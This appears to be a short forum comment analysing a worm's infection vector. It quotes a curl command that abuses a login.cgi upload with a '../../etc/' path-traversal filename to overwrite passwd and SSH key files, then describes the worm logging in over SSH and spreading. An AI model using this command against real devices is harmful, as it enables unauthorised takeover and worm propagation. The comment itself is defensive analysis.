Looks like this is the infection vector: LD_LIBRARY_PATH=/etc/persistent/.mf/ ./curl -s -m 4 -F "file=@/etc/$wh;filename=../../etc/$to" -H "Expect:" "$ur/login

Looks like this is the infection vector: LD_LIBRARY_PATH=/etc/persistent/.mf/ ./curl -s -m 4 -F "file=@/etc/$wh;filename=../../etc/$to" -H "Expect:" "$ur/login.cgi" -k 2>/dev/null >/dev/null .. is used to upload files onto the target system, in particular a passwd file and some ssh keys. After this, it'll ssh in easily because of the passwd/keys and extract a copy itself from a .tar and worm on. So does that mean that "login.cgi" can be tricked into writing uploaded http files into /etc without authentication? Rough.